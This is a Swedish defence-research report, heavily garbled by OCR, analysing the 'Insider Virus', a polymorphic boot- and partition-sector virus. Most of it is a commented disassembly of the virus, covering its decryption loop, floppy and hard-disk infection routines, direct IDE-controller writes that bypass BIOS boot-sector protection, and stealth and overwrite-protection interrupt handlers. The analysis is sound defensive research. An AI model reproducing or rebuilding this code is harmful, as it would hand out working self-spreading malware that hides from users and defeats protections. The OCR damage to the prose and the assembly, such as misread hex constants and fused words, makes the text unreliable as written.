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1

Inledning

Den har rapporten beskriver analysen av det tidigarénola viruset "Insi-
der Virus”. Institutionen ér Systemanalys och ITakerhet fick en infekte-
rad diskett dr analys fn en person som deltagit i en kurs soatlits av
FOIL.

Insider Virusar ett polymorfiskt virus, med stealthteknik, som infekte-
rar boot- och partitionssektorer. Det ini@dller kod som kringgr eventuella
BIOS-skydd mot partitionssektorvirus, samt @erskrivningsskydd som
forhindrar att viruset tas bort&n en infekterad drddisk rar detar aktivt.
Viruset innefaller inte ragon destruktiv payload.
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2 Kortfattad beskrivning av virusets funktion

Pa en diskett infekterar viruset bootsektoriy det placerar en rutin som
laddar in debvriga delarna, ochder igang den érsta av dessa. De delar
som inte finns i bootsektorn ligger lagrade giskettens fem sista sektorer.
Pa en larddisk infekterar viruset partitionssektor@ydlet placerar en mot-
svarande laddningsrutin. De delar som inte finns i partitionssektorn ligger
lagrade @ sektor 3-7 A samma sar. Dessa sektoré@r normalt oan&nda,
aven om larddisken fylls helt. De & forsta sektorerna av virusets and-
ra del rjar med en dekrypteringsrutin som dekrypterar resten av viruset.
Den allra sista sektorn innéher den gamla bootsektorn eller partitions-
sektorn som Kavs Pr att starta upp operativsystemet efter att virusetrutf
allt det ska @gra under uppstarten.

Nar viruset infekterar en datoadagger det sig i partitionssektorn, och
om datorn kr Windows 9x/ME & lagger det dessutom in en VxD (de-
vicedriver ©r Windows 9x/ME) som arands or att trigga ytterligare dis-
kettinfektioner fn Windows. Nar virusetar aktivt i en dator med enbart
DOS s infekterar det alla disketter man accessar. Beker med att byta
enhetsbokstav till diskettstationearfatt en diskett i den ska infekteras.
Nar virusetar aktivt i en dator med Windows &vs det att mand nagot
som orsakar endkning efter Anga filnamn f disketten. Detacker med
att man tittar @ vad disketten innétler for att den ska infekteras.

Virusets VxD lyckas inte triggaaygra infektioner i andra versionén
Windows 95. Windows 98/ME fanns sannolikt inte vid den tidpunkt som
viruset konstruerades.ad VxD:n kors i Windows 98 verkar en versions-
kontroll (som sker mot ettaligt dokumenterat irdrde - dirav osikerheten)
forhindra triggning. Mr Windows ME infekteratsar man baskarm vid
uppstarten. Anledningen verkar vara relaterad till att viruset minskagaben
ledigt minne. Viruset upjicktes @r det orskade Bskarm i en dator med
Windows ME. En diskett hade @ints kvar i diskettstationenan datorn
startades&att farddisken blev infekterad. Vid omstart utan disketten blev
det bAskarm rar Windows ME skulle starta. Detta gav upphov till miss-
tankar om att disketten var infekterad me&jon form av bootsektorvirus.

Nar virusetar aktivt i datorn ligger det resident i det konventionella
minnetsoversta 3kb. Genom att lura DOS att det konventionella mianet
3kb mindrean det verkligerar kan virusetdrhindra att det blibverskrivet.

Viruset ar polymorfiskt @ det gttet att sbrsta delen av deir XOR-
krypterad word-vis med en variabel nyckel som tas fraam frealtidskloc-
kans tid vid infektionstill&llet. Daremotar laddningsrutinen i bootsektorn
respektive partitionssektorn, samt dekrypteringsrutinen, helt statiska. Det
gor att man &tt kan skapa en signatuirfviruset somar fast oavsett kryp-
teringsnyckelns arde.

Infektion av partitionssektorngpen tarddisk utbrs genom att viruset
kommunicerar direkt med IDE-kontrollerdffatt kringga eventuellt skydd
i BIOS mot partitionssektorvirus. Viruset inn@ler ocks ett skrivskydd
som @r att eventuelladrsok att skrivadver virusets sektorer idsjan av
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harddisken drhindras @r virusetar aktivt. Dessutom ledfandringar i
partitionstabellen automatiskt om till originalpartitionssektorn som ligger
lagrad i sektor 7. Denna omledning ské&reimot inte om viruset intér ak-
tivt, som t.ex. r man bootat fin en ren disketifr attandra partitionerna.
Viruset innelfaller en stealthfunktion sondg att man ser den rena ori-
ginalsektorns inneill om man brsoker asa innebllet i partitionssektorn.
Denna funktiorér enbart ig@ng rar virusetar aktivt i datorn.
Analysen visade ocksatt det inte finnsagon destruktiv payload i vi-
ruset.
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3 Hur analysen utfordes

Analysens drsta steg bestod i athfsoka avgra om disketten i figa verk-
ligen var infekterad av ett @t virus eller inte.

Allra forst scannades disketten me@gna olika antivirusprogranof
att avgora om den var infekterad med ett eller flei@nka virus. Inget av
programmen gavaygot utslag.

Darefter utbrdes en snabb kontroll medafp av programmet debug
genom att &sa in bootsektorn och diverse andra sektoperaftt sedan
disassemblera dessa och leta efter teckevinuskod. Det framgick ganska
snabbt att disketten antagligen var infekterad magiom form av bootsek-
torvirus. Dels fanns typiska tecke@ piruskod, och dels hittades en kopia
av en bootsektoiingst bak p disketten - ett vanligt teckera@tt man har
att gora med ett bootsektorvirus. Programmet delilgef med DOS och
Windows som standard ocliks fran kommandoprompten.

Nasta steg var atibfsakra sig om att det verkligen handlade om ett
fungerande virus och inte bara ett misslyckiatsbk att skapa ett virus.
Nagra broksinfektioner visade att viruset kunde replikera sig, samt att
det hade en stealthfunktion.

Den verkliga analysen genoinfies efter att virusets olika delar hade
disassemblerats meddfyp av IDA Pro. Eftersom huvuddelen av viruset var
krypterat bebvde det dekrypteras innan disassembleringen. Detiedets
genom att modifiera virusets okrypterade kod medihgv debug& att det
kunde dekryptera sig@jvt men inte kra igang den dekrypterade koden.
Darefter startades virused slet dekrypterade sigayt, varefter minnesin-
nehallet dumpades till disk och disassemblerades. détta var klart gicks
den resulterande assemblerkoden igenomhiand och kommenterades.
Resultatet av denna genoényy finns attasa nedan i form av en komplett
disassemblering med kommentarer.

Efter att genom@ngen av koden vaafdig bekaftades de olika egen-
skaper som uppatkts genom praktiskafsok med viruset i @art laborato-
rium.
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4 Layout pa viruset i det reserverade minnet

Har finns intressanta delar av viruset i det reserverade minnet:

OFEh - 102h: "Drw-6"

1CCh - 1E1h: "Dr White - Sweden 1997"

472h - 605h: VxD:n uppdelad i mindre bitar finns
har

606h - 63Ah: S 0kvagar till VxD:n

65Ah - 680h: "Insider Virus - written i Malmo...
BO2E"

800h - 9FFh: Originalstartsektorn

Vart att noterar ocks att [ position 684h - 7FFh finns en del av viru-
set som aldrig dekrypteras men soareimot krypterasang @ gang med
olika nycklar. Det har inte gjortsagra brsok att fa fram originalinnehllet
fran det lar omédet. Gissningsvis inné@ler det antingen slumpassig
data eller ett meddelandeifr virusbrfattaren, men oavsett vilked &r in-
te innefallet relevant dr virusets funktion.

11
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5 Bootsektorkoden pa en infekterad diskett

| de sista 5 sektorernalisketten ligger gjva viruset, drutom att den all-

ra sista sektorn aiénds till att spara originalbootsektorn. Viruset placerar
dessa sektorer i ett reserverat @he 3kb bre slutet av det konventionella
minnet och startar sedan exekveringénden brsta instruktionen i detta
omrade.

loc_0_O:
jmp short loc_0_58
loc_ 0 58:

; Placering av stacken.
Xor si, Si

cli

mov sp, 7CO00h

mov Ss, Si

assume ss:seg000

sti

; Lat ES peka p a positionen 3kb under toppen
; av det konventionella minnet.

mov ds, si

assume ds:seg000

mov bx, ds:413h

sub bx, 3

shl bx, 6

mov es, bx

assume es:nothing

; Las in de 5 sista sektorerna fr an disketten
; till det reserverade minnesomr adet.

mov dx, 100h

mov cX, 4FOEh

xor bx, bx

mov ax, 205h

int 13h

; Imitera ett tidigare call p a stacken och
; returnera. Det ¢ or att exekveringen startar
; p a forsta instruktionen i det reserverade

; omr adet.

push es

push 0O

13
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retf

14
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6 Partitionssektorkoden pa en infekterad harddisk

| sektor 3-6 @ harddisken ligger sjlva viruset, och i sektor 7 ligger origi-
nalpartitionssektorn. Viruset placerar dessa sektorer i ett reserveraiemr
3kb fore slutet av det konventionella minnet och startar sedan exekveringen
pa den brsta instruktionen i detta oiade.

loc_0_O:

; Placering av stacken.
Xor Si, Si

cli

mov sp, 7CO00h

mov ss, Si

assume ss:seg000

sti

; Lat ES peka p a positionen 3kb under toppen
; av det konventionella minnet.

mov ds, Si

assume ds:seg000

mov bx, ds:413h

sub bx, 3

shl bx, 6

mov es, bx

. L as sektor 3 till 7 fr an harddisken till det
. reserverade minnesomr adet.

mov dx, 80h

mov cXx, 3

xor bx, bx

mov ax, 205h

int 13h

; Imitera ett tidigare call p a stacken och
; returnera. Det g oOr att exekveringen startar
; p a forsta instruktionen i det reserverade

; omr adet.

push es

push 0O

retf

15
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7 Virusets huvuddel

Virusets huvuddel trjar med att dekryptera resten av viruset. Den in-
nehaller ocks kod fr att Asa in originalbootsektor/partitionssektor, starta
upp systemet, hakajvissa interrupt, samt infektera disketter oénduiskar.

loc_ 0 _O:

; Dekrypterar viruset och forts atter sedan
;. exekveringen p & den f Orsta dekrypterade

; instruktionen (som f Oljer efter "loop").

; Nyckeln (i det h ar fallet OAGE9h) ar

; variabel och best ams fr an tiden realtids-

; klockan ger vid infektionstillf allet.
mov cx, 33Ah

mov di, 12h

loc_0_6:

xor word ptr cs:[di], OA6ESh

add di, 2

loop loc_0 6

; Spara gamla adressen till ISR f or INT 13h.
call sub_0_8B

; Satt DS = reserverade omr adet, ES = start-

: sektorns omr ade. Vi kallar bootsektorn eller

; partitionssektorn f or "startsektorn" i

. forts attningen f or att f A namnet oberoende av
; hur viruset startat.

push cs

pop ds

assume ds:seg000

push ss

pop es

; Kopiera in originalstartsektorn till minnes-
; omr adet d ar startsektorn ligger sedan

; tidigare.

mov si, 800h

mov di, 7C00h

mov cx, 100h

cld

rep movsw

: Kontrollera om virusets ISR:er f or INT 1Ch

; och INT 2Fh redan ar installerade. Om b agge
; ar installerade s a boota upp datorn, annars

17



FOI-R-0750-SE

18

; forts  att vidare.

cmp word ptr es:70h, 103h
jnz loc_0_35

cmp word ptr es:0BCh, 17Ch
jz loc_0 73

loc 0 35:

: Kor infektionsrutinen.
call sub_0 1E2

; Spara m angden tillg  angligt konventionellt
; minne i 679h.

push ss

pop ds

assume ds:nothing

mov si, 413h

mov di, 697h

push si

lodsw

stosw

pop si

; Minska m angden tillg  angligt konventionellt
; minne med 3kb.

sub ax, 3

mov [si], ax

; Anv ands f or att "Il asa upp" virusets ISR f or
; INT 1Ch.
mov cs:byte 0 699, 1

; Spara ISR-adressen f or INT 60h i offset 68Dh

; (skrivs over en bit ner eftersom interruptet

;. ar ledigt fr an borjan). S att ny ISR till

; virusets rutin p a 1C4h. INT 60h ar ett user

; interrupt som kan anv andas till valfri

; funktion. Viruset anv ander det f ©r att anropa
. infektionsrutinen fr an VxD:n.

mov di, 68Dh

mov si, 180h

mov ax, 1C4h

call sub_ 0 _7E

; Spara ISR-adressen f or INT 1Ch i offset 68Dh.
; Satt ny ISR till virusets rutin p a 103h.
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: INT 1Ch k ©ors automatiskt av ISR:en f or
; INT 08h, dvs den f ar ett anrop 18.2 ggr per
; sekund.

mov di, 68Dh

mov si, 70h
mov ax, 103h
call sub_ 0 _7E

; Spara ISR-adressen f or INT 2Fh i offset 691h.

; Satt ny ISR till virusets rutin p a 17Ch. Det
; h ar interruptet anropas bland annat av

; Windows vid uppstart. Det anv ands av viruset

; f Or att veta n  ar det ska kopiera in VxD:n.

mov di, 691h

mov si, 0BCh

mov ax, 17Ch

call sub_ 0 _7E

loc 0 73:

: Kor ig ang originalstartsektorn, virusets
; huvuddel avslutas och operativsystemet
; Startar.

Xor ax, ax

mov ds, ax

assume ds:seg000

push ds

pop es

assume es:seg000

jmp far ptr 0:7C00h

; Den har rutinen anv  ands f or att haka in nya
- ISR:er p a valfria interrupts. Den tar

; adressen i interruptvektortabellen som DS:SI

; och platsen i minnet d ar den gamla adressen
; ska sparas i ES:DI. Dessutom tar den adressen

; till den nya ISR:en i ES:AX.

sub_0_7E:

cld

push si

loc_0_80:

movsw

MOovVswW

pop di

cli

loc_0_84:
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mov [di], ax
mov [di+2],es
sti

retn

sub 0 _7E endp

; Den h ar rutinen sparar gamla ISR-adressen till
: INT 13h p a offset 685h.

sub_0 8B proc near

cld

mov si, 4Ch

mov di, 685h

movsw

movsw

retn

sub 0 8B endp

; Har startar infektionsrutinen i viruset.

; "cs:byte_0_402" ar 0 om viruset startat fr an
; floppy och 80h om det startar fr an en

. infekterad h arddisk.

sub 0 1E2 proc near

; Om viruset startat fr an floppy blir DL = 80h.

; Om det d aremot startar fr an harddisken s a blir
; DL = 81h.

mov dl, 80h

cmp cs:byte 0 402, dl

cmc

adc dl, O

; Hit kommer &ven ett anrop fr an ISR f or

: INT 60h n ar viruset aktiverats inifr an Windows
. f or att infektera en diskett. DL ardao

; respektive 1 om det ar f orsta respektive

; andra diskettstationen som ber ors. L agg marke
; till att i resten av koden st ar det att

; "operativsystemet startas upp” men i de fall

; som anropet kommit fr an VxD:n ska det | asas
: som "VxD:n aterf ar kontrollen".

loc_ 0_1ED:

; DS=ES=CS.
push cs

pop ds

assume ds:seg000
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push ds
pop es
assume es:seg000

; Patchar en MOV-instruktion | angre in i
;. viruset s a att den arbetar mot r att diskenhet.
mov byte 0 2D3, dl

: Kontrollera om det ar en diskett eller h ard-
; disk som ska infekteras. Hoppa om diskett.

cmp dl, 7Fh

jbe loc_0 212

: En h arddisk ska infekteras. L as in sektorerna

: 3-4 fr an harddisken till offset 6A3h. Om

; | asningen misslyckas s a hoppa till

; locret_0_222 och d a startas operativsystemet
; upp.

call sub 0 2F0

mov ax, 202h

call sub_0 2CO

jb locret_0_222

: Las in v arden direkt fr an IDE-kontrollern.

; AH = sektornummer efter | asningen tidigare

; (ska vara 4 eftersom viruset | ast mer an en
; sektor och i det fallet pekar sektorregistret

; p a sektorn *efter* sista | asta sektorn).

; AL = drive/head. Detta v arde sparas sedan i

; word 0 695 och anv ands f or en extra kontroll
; senare i viruset.

mov dx, 1F3h

in al, dx

mov ah, al

add dx, 3

in al, dx

mov word_0_695, ax

loc_0 _212:

; L aser in startsektorn fr an enheten som ska

; infekteras. Om | asningen misslyckas g ors ett
; hopp till locret_ 0 222 och operativsystemet

; startar. Startsektorn hamnar p a offset 8A3h.
; Darefter g ors en kontroll av om startsektorn

; redan ar infekterad eller inte. Om den inte

; redan ar infekterad g ors ett hopp till

21
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; loc_0_223, annars startas operativsystemet.
mov ax, 201h

call loc_ 0 2CA

jb locret_0_ 222

mov si, 8A3h

call sub_0 2D7

jnz loc_0_223

locret_0_222:
retn

. Startsektorn ar inte infekterad s a nu ska den
;. infekteras.
loc_ 0 223:

; Kopiera den rena startsektorn fr an 8A3h till
; 6A3h.

mov di, 6A3h

push si

mov cx, 100h

cld

rep movsw

; Ta reda p a sektorn d ar de 5 virussektorerna
; ska placeras.
call sub_0 2F0

; DI pekar nu p a 8A3h-kopian av startsektorn.
: Det ar den viruset ska infektera.

pop di

; Om det inte gick att f a fram sektorn d ar de
; 5 virussektorerna ska placeras s a bootas

; operativsystemet upp.

or cX, CX

jz locret_0 222

; Lagra "JMP 58h" i EAX. Maskinkoden f or den

; instruktionen finns p a offset 3E8h och h amtas
callts & in d arifr  an.

mov si, 3E8h

lodsw

; DH laddades vid det tidigare anropet till
: sub_0 2F0 och inneh aller 1 om en diskett ska
; infekteras, 0 om en h arddisk ska infekteras.
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: Om en harddisk ska infekteras s a sker nu ett
; hopp till loc_0_241.

or dh, dh

jz loc_0_241

: Skriv in "JMP 58h" f orst i bootsektorkoden
; p a offset 8A3h.

stosw

; Laddaren i bootsektorn ska ligga h ar

; (BA3h + 58h = 8FBh).

mov di, 8FBh

loc_ 0 241

;. Flytta 28h = 40 bytes fr an DS:SI till ES:DL.

; DS:SI pekar nu p a en lagrad laddningsrutin

; som ska kopieras in i startsektorn p a ratt

; plats. Om det ar en h arddisk som ska

. infekteras s a pekar ES:DI nu p a bufferten

; direkt sen tidigare. Om det ar en diskett s a
; pekar den allts a 58h bytes in i bufferten.

mov cx, 28h

rep movsb

; Vilken enhet var det som skulle infekteras?

; Om det ar en diskett s a hoppa till loc_0 271,
. annars forts att.

mov bh, byte 0 2D3

cmp bh, 7Fh

jbe loc_0 271

. Viruset ska allts a infektera en h  arddisk.
; Plocka fram sektor, drive/lhead som sparades

; tidigare.

mov ax, word 0 695

; Plocka ut LBA-flaggan till CF. Sektornumret

; ska vara 4 i CHS-I age (Cylinder Head Sector)

; och 3 i LBA-l age (Logical Block Addressing).

; Det sker ett hopp till loc_0 271 om viruset

. ar pa fel sektor i CHS-I age, och d ar finns en
; rutin £ ©Or att infektera partitionssektorn

; via INT 13h. Normalt blir det inget hopp dit

; utan koden forts atter.

mov bl, al

rcl al, 2
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adc ah, O

cmp ah, 4

jnz loc_0_271

: Aterst all efter bitmanipulationerna. Maska

; bort LBA. Om viruset ar p a fel sektor i LBA-
;| age sa sker ett hopp till loc_0 271, och

; dar finns allts a en rutin f or att infektera

; partitionssektorn via INT 13h. Normalt sker

; inget hopp h ar heller utan koden forts atter.
xchg ax, bx

and al, OBFh

shl ah, 4

or ah, OAOh

cmp ah, al

jnz loc_0 271

; Infekterar partitionssektorn genom att

: kommunicera direkt med IDE-kontrollern.

. Detta kringg  ar eventuellt virusskydd i BIOS
: mot MBR-virus.

call sub_0 _31C

; Krypterar och skriver in resten av viruset.
jmp short loc_0_276

; Infekterar startsektorn. Om det misslyckas
;s a sker ett hopp till locret 0 222 och
; operativsystemet startar upp. Hit kommer man

;i tv a fall: dels om det inte g ar att infektera
; en partitionssektor direkt via IDE-

; kontrollern och dels n ar bootsektorn p a

; en diskett ska infekteras.

loc_0_271:

call sub 0 2C7
jb locret_0_222

; Nu ska resten av viruset krypteras och
; kopieras in.
loc_0_276:

; Hamtar in positionen f or den f orsta av de 5
; sektorerna d  ar resten av viruset ska

; placeras. Flyttar fram positionen 4 steg till

; d ar originalstartsektorn ska ligga och

; skriver in den rena startsektorn fr an 6A3h.
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; Sparar ocks a originalpositionen f or den ska
; anv andas f or att skriva in de krypterade
; sektorerna senare.
call sub_0 2F0
mov ax, 301h
mov word_0_69C, dx
mov word_0 69A, cx
add cl, 4
call sub 0 2CO

;. Hamtar aktuell tid fr an realtidsklockan. Ser

; till att minuterna och sekunderna hamnar i

; DX och tar 1-komplementet p a DX. Resultatet

; blir krypteringsnyckeln och den skrivs in p a
; loc_0 _6+3.

mov ah, 2

int 1Ah

mov dl, cl

not dx

mov word ptr loc_0 6+3, dx

: Krypterar de f  orsta 2 av de aterst aende 4
; sektorerna och skriver in.

Xor si, si

call sub_0 2A3

; Krypterar de sista 2 sektorerna och skriver

; in. Flyttar fram 2 sektorer f ore att de
;. skrivs in.

mov si, 400h

add word_0_69A, 2

sub 0 1E2 endp

; Den har rutinen krypterar 2 sektorer (=200h
; words) at g angen.

sub_0_2A3 proc near

mov cx, 200h

cld

: Kontrollen mot 10h sker f oOr att inte viruset
; ska kryptera dekrypteringsrutinen.

loc_0_2AT7:

lodsw

cmp si, 10h

jbe loc_0 2B2

xor ax, word ptr loc_0_6+3
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; Sparar de 2 krypterade sektorerna p a disk.
loc_0_2B2:

stosw

loop loc_0_2A7

mov dx, word_0 69C

mov cX, word 0 69A

mov ax, 302h

sub_0 2A3 endp

; unk_0_2D2 anropar original-ISR f or INT 13h.
; Nar denna returnerar f or 2:a g angen startar
; operativsystemet upp.

sub_0_2CO proc near

mov bx, 6A3h

mov di, bx

jmp short near ptr unk_0_2D2

sub_0 2CO0 endp

;. Skriver en sektor.
sub_0 _2C7 proc near
mov ax, 301h
sub_0_2C7 endp

; Det ar startsektorn som ska skrivas.

: Inneh allet h amtas fr an offset 8A3h. loc_0 f7
. g ar till original-ISR f or INT 13h.

; Instruktionen "mov dl, 0" ar den som
; patchats tidigare i koden. DL talar om

; vilken enhet BIOS ska skriva till.

loc_0_2CA:

mov cx, 1

mov dh, ch

mov bx, 8A3h

mov dl, 0

jmp loc_0_f7

: Den h ar rutinen kontrollerar om startsektorn
: redan ar infekterad eller inte. Kontrollen
; mot OEBh g ors f or att ta reda p & om det ar en

; bootsektor eller inte. En bootsektor b orjar
; alltid med ett JMP, dvs OEBh. Om det ar en
; bootsektor m  aste viruset titta p a position

; 58h, men om det &r en partitionssektor

; tittar det direkt p a f orsta positionen.

sub_0_2D7 proc near
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push si

cmp byte ptr es:[si], OEBh

jnz loc_0 _2E1

add si, 58h

; Kontrollerar om startsektorn redan ar
; infekterad genom att j amfora med tv a words
; som finns i en infekterad startsektor.
loc_ 0 2E1:

cmp word ptr es:[si], OF633h

jnz loc_0 _2EE

cmp word ptr es:[si+14h], 8EO6h

loc_ 0 2EE:

pop Si

retn

sub 0 2D7 endp

; Den har rutinen tar reda p a var de 5 virus-
; sektorerna ska placeras.
sub_0 2F0 proc near

; Om det ar en h arddisk s a ska de b orja p a
; sektor 3 och i s a fall hoppar viruset vidare

; till loc_0_310 direkt.

mov cXx, 3

mov dh, ch

mov dl, byte 0 2D3

cmp dl, 7Fh

ja loc_0_310

; Det ar en diskett. H amtar antalet sektorer

. fr an BPB pa disketten (BPB = BIOS Parameter
; Block). P a offset 5F4h ligger virusets

; "supportade" diskettstorlekar som 4 words

; med antalet sektorer f or varje storlek.

; Dessa storlekar ar 360kb, 720kb, 1.2Mb och

; 1.44 Mb. Om inte disketten ar en av dessa
; storlekar s a sker ett hopp till

; locret_0_31B. Om disketten ar en av dessa
; storlekar s a plockas positionen f or 5e

; sektorn bakifr an fram och placeras i CX.

; DX uppdateras till r att v arde p a drive och
; head.

mov ax, word 0 8B6
mov di, 5F4h
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mov cx, 4
repne scasw
jnz locret_ 0 _31B
mov cx, [di+8]
mov dh, 1

loc_ 0 310:

and dl, OFOh

mov word_0_ 405, cx

mov word ptr byte 0 402, dx

locret_0_31B:
retn
sub_0 2FO0 endp

; Den har rutinen infekterar partitionssektorn
; genom att kommunicera direkt med IDE-

; kontrollern. Eftersom senaste | asningen p a
. h arddisken var fr an partitionssektorn s a

; pekar kontrollern just nu redan p a

; partitionssektorn s a viruset beh over inte

; placera den r  att. Detta beror p a att *en*

; sektor | astes och d a flyttas inte

: kontrollern fram till sektorn efter utan
; st ar kvar p a den | asta sektorn.
sub_0 _31C proc near

; En dummyrutin. Varf or den finns ar oklart
; men den g oOr inget.
call sub 0 34F

;. Skriver en sektor.
mov dx, 1F2h

mov al, 1

out dx, al

; Kommando: skriv sektor, f ors 0k igen om det
; inte lyckas.

mov dx, 1F7h

mov al, 30h

out dx, al

; Vanta h ar tills kontrollern ar f ardig.
mov ah, 8
call sub 0 357
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; Stoppa in sektordatan i dataporten p a
; kontrollern.

mov si, 8A3h

mov cx, 100h

mov dx, 1FOh

cld

loc_ 0 33A:

lodsw

out dx, ax

loop loc_0 _33A

; V anta tills kontrollern ar f ardig.
loc_ 0 33E:

mov dx, 1F7h

in al, dx

test al, 80h

jnz loc_0 33E

; L as status och felregistren och kasta bort
; Vv ardena.

mov dx, 1F7h

in al, dx

mov dx, 1F1h

in al, dx

retn

sub 0 _31C endp

; Dummyfunktion. Varf or den finns h ar ar oklart
; men den g or inget. "inc dx" ar meningsl 0ost
; eftersom DX skrivs over direkt den returnerar.
sub_0_34F proc near

jmp short loc_0 351

loc_ 0 351.:

jmp short loc_0_353

loc_ 0 353:

jmp short loc_0 355

loc_0_355:

inc dx

retn

sub_0_34F endp

: Den har rutinen v  antar tills IDE-kontrollern
; ar f ardig.

sub_0_357 proc near

mov dx, 1F7h

in al, dx
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test ah, al

jz sub_0_ 357
retn

sub_0 357 endp
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8 ISR for INT 1Ch

Rutinen Br INT 1Ch tar reda @ vilken version av DOS soniks och aljer
darifran om viruset ska arbeta i Windows 9x/ME (version 7 ochatpp
eller inte (Bre version 7). Om viruset enbart ska arbeta i D@®%akas en
rutin in pa INT 13h som har tre funktioner: stealibverskrivningsskydd,
samt triggning av infektion av disketter. Om viruset ska arbeta i Windows
9x/ME sa satts en ny ISR dr INT 2Fh som har till uppgift att sluéira
virusinstallationen ar Windows kommit igng.

; ISR f or INT 1Ch.

103h:
; Nar interruptvektorerna s atts i virusets huvud-
; del s a satts denna position till v ardet 1 och

; det sker inget hopp h ar. Denna ISR st angs
; senare av genom att s  atta v ardet till O.

cmp cs:byte 0 699, 0

jz loc_0_177

; Sparar viktiga register f or att kunna k ©ora den
; gamla ISR:en senare.

push ds

push es

pusha

; DS=0 och ES=CS.
Xor Si, Si

mov ds, s

push cs

pop es

: L aser in adressen till ISR f or INT 20h och
; INT 27h. D arefter g ors n agra kontroller och
; om dessa misslyckas k  ©ors den gamla ISR:en.

; Exakt vad kontrollerna inneb ar ar oklart men
; inget farligt kan h anda pa grund av dem.
; Gissningsvis ar detta ett s att att ta reda p a

; om DOS startat an eller inte.
mov si, 82h

cld

lodsw

cmp ax, 800h

ja loc_0_174

or ax, ax

jz loc_0_174
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cmp [si+2], ax
jnz loc_0_174
cmp [si+1Ah], ax
jnz loc_0 174

: St ang av denna ISR fr an och med nu.
mov cs:byte 0_699, 0

; Ta reda p a DOS versionsnummer. Om det ar

; version 7 och upp at (allts & Windows 9x/ME) s a
; forts atter viruset ned at, annars sker ett hopp

; till loc_0_14d.

mov ax, 3306

int 21h

cmp bl, 7

jb loc_0_14d

; Spara gamla ISR-adressen f or INT 13h.
call sub 0 8b

; Spara ISR-adressen f or INT 2Fh i offset 691h

; och s att den nya till 19Dh. Detta ar f or att

; f a anrop av typen Windows Enhanced Mode Loader

; Init Broadcast f or att veta n ar det ar dags att
; utf  Ora vidare installation i Windows.

mov di, 691h

mov si, 0BCh

mov ax, 19Dh
call sub 0 7e

: Haka av den h ar ISR:en fr an kedjan om det g ar
; och k or sedan den gamla ISR:en som viruset har

; Sparat en pekare till.

jmp short loc_0_159

; Spara gamla ISR-adressen f or INT 13h p a offset
; 689h och s att nya till 95h.

loc_0_14d:

mov di, 689h

mov si, 4Ch

mov ax, 95h

call sub_0 7e

loc_ 0 159:

; ES=0.
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push ds
pop es

: Pekar INT 1Ch p a virusets ISR? Om inte s a kor
; det den gamla ISR, som det sparat adressen

; till, genom att g ora ett hopp till loc_ 0 _174.

mov ax, CS

mov di, 70h

mov si, 68Dh

cmp word ptr[di], 103h

jnz loc_0 174

cmp [di+2], ax

jnz loc_0_174

: Ja INT 1Ch pekar p @& virusets ISR - allts a kan
; det haka av sig fr an kedjan utan problem.

mov ds, ax

cli

MOovsw

Mmovsw

sti

. Aterst aller register som viruset varit och
; andrat i och k ©or sedan den gamla ISR som det
; sparat en pekare till.

loc_ 0 _174:

popa

pop es

assume es:nothing

pop ds

assume ds:nothing

loc_ 0 _177:

jmp cs:dword_0_68d
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9 ISR for INT 13h

Den har rutinen har tre funktioner. Delifstaar att ge viruset stealthteknik
sa att man inte kan se att startsekt@minfekterad ar detar aktivt i da-
torn. Den andrar att ge viruset etbverskrivningsskydd ifall agon skulle
forsoka radera detdr detar aktivt. Den tredjér att trigga infektionen av
disketter.

95h:

; Om det r 0r en h ogre sektor an den 7:e s a kor
; gamla ISR.

cmp cx, 7

ja near ptr unk_0 f2

: Om det r or ett annat huvud an det f orsta s a
; k or gamla ISR.
cmp dh, ch

jnz near ptr unk_0_f2

; Om det ar en | asning s a hoppa till unk 0 ba.
cmp ah, 2
jz near ptr unk_0_ba

; Om det inte  ar en skrivning s a kor gamla ISR.
cmp ah, 3
jnz near ptr unk 0 f2

; Om det ar en skrivning till diskett s a kor
; gamla ISR.

cmp dl, 7Fh

jbe near ptr unk 0 2

; Det r or allts & en skrivning till h arddisken
; och n agon av sektorerna som inneh aller viruset.
; Skriv en sektor 6 positioner | angre bort.

; Detta blir allts a ett overskrivningsskydd, plus

; att en skrivning till partitionssektorn kommer

; ist allet att skriva till originalpartitions-

; sektorn som ju ligger i sektor 7. N ar detta  ar
; T ardigt returnerar viruset till anroparen.

push cx

add cl, 6

mov al, 1

call sub_0 f7

pop CX

retr 2
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; Anropet ar en | asning.
loc_ 0 ba:

; Om det inte r ©0r startsektorn s a kor gamla ISR.
cmp cl, 1
jnz loc_0 _f2

; Om det ar en | asning p a harddisken s a hoppa
; till loc_0_d3. Detta anropar allts a stealth-
; funktionen.

cmp dl, 7Fh

ja loc_0_d3

; Om det ar en | asning av mer an en sektor p a
. disketten s & kor gamla ISR.

cmp al, cl

jnz loc_0 f2

; Kor ig ang infektionsrutinen f or att infektera
. disketten. V  ardet p a DL satts till den

; diskettenhet som disketten befinner sig i.

; D arefter aterst alls registren och den gamla
; ISRien k ors f or att utf  ©ora | asningen.
push ds

push es

pusha

call sub 0 1ed

popa

pop es

assume es:nothing

pop ds

assume ds:nothing

jmp short loc_0_f2

; Den har rutinen utg or stealthfunktionen i
; viruset.
loc_ 0 _d3:

push si
push cx
push dx

; Spara adressen till anroparens buffert.
mov si, bx
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; Kor original INT 13h.
call sub_0 f7

pop dx

; Kontrollera om partitionssektorn ar infekterad.

; Om den inte ar infekterad g ors ett hopp till
; loc_ 0 _ec f ©or att sedan returnera till anroparen.
call sub 0 2d7

jnz loc_0_ec

; Las in sektor 7 ist allet, allts a original-
; partitionssektorn, genom ett anrop till

; original INT 13h ISR.

mov ax, 201h

mov cXx, 7

mov bx, si

call sub_0 7

; Returnera till anroparen.
loc_ 0 _ec:

clc

pop CXx

pop Si

retf 2

; Gor ett hopp till original INT 13h ISR.
unk_0_f2:
jmp cs:dword_0_689
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10 Preliminar ISR for INT 2Fh

Den Har rutinen installeras av viruset prelindirt men byts ut om det visar
sig att datorn &r Windows 9x/ME. Rutinen har till uppgift att se till att
viruset inte blirdverskrivet.

; Det kr avs ett hopp allra f orst d arf or att

; str angen "RPL" m aste ligga 3 bytes over starten
; till ISR:en f or INT 2Fh f ©or att 10.SYS i DOS 5+
; ska k ora INT 2Fh (RPL = supervisor Reboot

; Panel). Detta ar en odokumenterad funktion men
; den talar om f or DOS 5+ var det konventionella
; minnet slutar, och p a det s attet har den f  ore-

; tr ade framf ©or v ardet som INT 12h returnerar och
; som anv ands av tidigare DOS-versioner.

; Viruset hakar p a sig h ar f or att f orhindra att
; det blir overskrivet.

17c:

jmp short near ptr unk 0 182

loc_ 0 _182:

; Ar det anrop f ©0r justering av minnesstorlek?

; Om inte s a gor ett hopp till loc_ 0 198, allts a
; k or ursprungliga ISR f or INT 2Fh.

cmp ax, 4A06h

jnz loc_0 198

; Det ar det h ar segmentet som kommer strax
